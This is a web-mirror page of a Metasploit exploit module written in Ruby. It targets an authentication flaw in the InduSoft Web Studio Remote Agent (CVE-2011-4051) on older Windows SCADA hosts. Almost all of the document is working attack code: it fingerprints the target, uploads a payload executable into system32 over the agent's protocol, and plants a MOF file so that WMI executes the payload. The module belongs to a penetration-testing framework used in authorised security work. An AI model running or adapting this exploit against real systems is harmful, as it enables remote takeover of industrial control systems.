CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/indusoft_webstudio_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::EXE
11
include Msf::Exploit::WbemExec
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'InduSoft Web Studio Arbitrary Upload Remote Code Execution',
16
'Description' => %q{
17
This module exploits a lack of authentication and authorization on the InduSoft
18
Web Studio Remote Agent, that allows a remote attacker to write arbitrary files to
19
the filesystem, by abusing the functions provided by the software.
20
21
The module uses the Windows Management Instrumentation service to execute an
22
arbitrary payload on vulnerable installations of InduSoft Web Studio on Windows pre
23
Vista. It has been successfully tested on InduSoft Web Studio 6.1 SP6 over Windows
24
XP SP3 and Windows 2003 SP2.
25
},
26
'Author' =>
27
[
28
'Luigi Auriemma', # Vulnerability Discovery
29
'juan vazquez' # Metasploit module
30
],
31
'License' => MSF_LICENSE,
32
'References' =>
33
[
34
[ 'CVE', '2011-4051' ],
35
[ 'OSVDB', '77179' ],
36
[ 'BID', '50675' ],
37
[ 'ZDI', '11-330' ]
38
],
39
'Privileged' => true,
40
'Payload' =>
41
{
42
'BadChars' => "",
43
},
44
'Platform' => 'win',
45
'Targets' =>
46
[
47
[ 'Windows XP / 2003', { } ],
48
],
49
'DefaultTarget' => 0,
50
'DisclosureDate' => '2011-11-04'))
51
52
register_options([Opt::RPORT(4322)])
53
end
54
55
def check
56
connect
57
58
# Get Application version
59
data = [0x14].pack("C")
60
sock.put(data)
61
app_info = sock.get_once
62
disconnect
63
64
if app_info =~ /InduSoft Web Studio v6\.1/
65
return Exploit::CheckCode::Appears
66
elsif app_info =~ /InduSoft Web Studio/
67
return Exploit::CheckCode::Detected
68
end
69
70
return Exploit::CheckCode::Safe
71
72
end
73
74
def upload_file(filename, my_payload)
75
connect
76
77
# Get Application version
78
data = [0x14].pack("C")
79
sock.put(data)
80
app_info = sock.get_once
81
if app_info !~ /InduSoft Web Studio/
82
print_error("#{@peer} - InduSoft Web Sutio hasn't been detected, trying to exploit anyway...")
83
end
84
85
# Get Operating System
86
data = [0x13].pack("C")
87
sock.put(data)
88
os_info = sock.get_once
89
if os_info !~ /WINXP/ and os_info !~ /WIN2K3/
90
print_error("#{@peer} - Exploitation through Windows Management Instrumentation service only works on windows pre-vista system, trying to exploit anyway...")
91
end
92
93
# Upload file
94
95
data = "\x02\x37" # Command => Select destination
96
data << [my_payload.length].pack("V") # Data length
97
data << "#{filename}" # File name to upload
98
data << "\x09\x00\x30\x00\x00\x00"
99
data << "\x10\x03" # End of packet
100
101
# The data must be split on 1024 length chunks
102
offset = 0 # Data to send
103
count = 1 # Number of chunks sent
104
groups = 0 # Data must be sent in groups of 50 chunks
105
106
chunk = my_payload[offset, 1024]
107
108
while not chunk.nil?
109
110
# If there is a group of chunks, send it
111
if count % 51 == 0
112
113
data << "\x02\x2c" # Command => Send group of chunks
114
my_count = [count].pack("V") # Number of chunks
115
data << my_count.gsub(/\x10/, "\x10\x10")
116
data << "\x10\x03" # End of packet
117
118
sock.put(data)
119
res = sock.get_once
120
if res !~ /\x02\x06\x10\x03/
121
return res
122
end
123
124
count = count + 1
125
groups = groups + 1
126
data = ""
127
128
end
129
130
pkt = [ 0x02, 0x2e ].pack("C*") # Command => Chunk Data
131
my_count = [count].pack("V")
132
pkt << my_count.gsub(/\x10/, "\x10\x10") # Chunk ID
133
pkt << [chunk.length].pack("V").gsub(/\x10/, "\x10\x10") # Chunk Data length
134
pkt << chunk.gsub(/\x10/, "\x10\x10") # Chunk Data
135
pkt << "\x10\x03" # End of packet
136
137
data << pkt
138
offset = (count - groups) * 1024
139
chunk = my_payload[offset, 1024]
140
count = count + 1
141
end
142
143
pkt = [ 0x02, 0x03].pack("C*") # Command => End of File
144
my_count = [count].pack("V")
145
pkt << my_count.gsub(/\x10/, "\x10\x10") # Chunk ID
146
pkt << rand_text_alpha(8) # LastWriteTime
147
pkt << rand_text_alpha(8) # LastAccessTime
148
pkt << rand_text_alpha(8) # CreationTime
149
pkt << "\x20\x00\x00\x00" # FileAttributes => FILE_ATTRIBUTE_ARCHIVE (0x20)
150
pkt << rand_text_alpha(1)
151
pkt << "\x10\x03" # End of packet
152
data << pkt
153
154
sock.put(data)
155
res = sock.get_once
156
disconnect
157
158
return res
159
160
end
161
162
def exploit
163
164
@peer = "#{rhost}:#{rport}"
165
166
exe = generate_payload_exe
167
exe_name = rand_text_alpha(rand(10)+5) + '.exe'
168
169
mof_name = rand_text_alpha(rand(10)+5) + '.mof'
170
mof = generate_mof(mof_name, exe_name)
171
172
print_status("#{@peer} - Uploading the exe payload to C:\\WINDOWS\\system32\\#{exe_name}")
173
res = upload_file("C:\\WINDOWS\\system32\\#{exe_name}", exe)
174
if res =~ /\x02\x06\x10\x03/
175
print_good "#{@peer} - The exe payload has been uploaded successfully"
176
else
177
print_error "#{@peer} - Error uploading the exe payload"
178
return
179
end
180
181
print_status("#{@peer} - Uploading the mof file to c:\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}")
182
res = upload_file("c:\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
183
if res =~ /\x02\x06\x10\x03/
184
print_good "#{@peer} - The mof file has been uploaded successfully"
185
else
186
print_error "#{@peer} - Error uploading the mof file"
187
return
188
end
189
190
end
191
end
192
193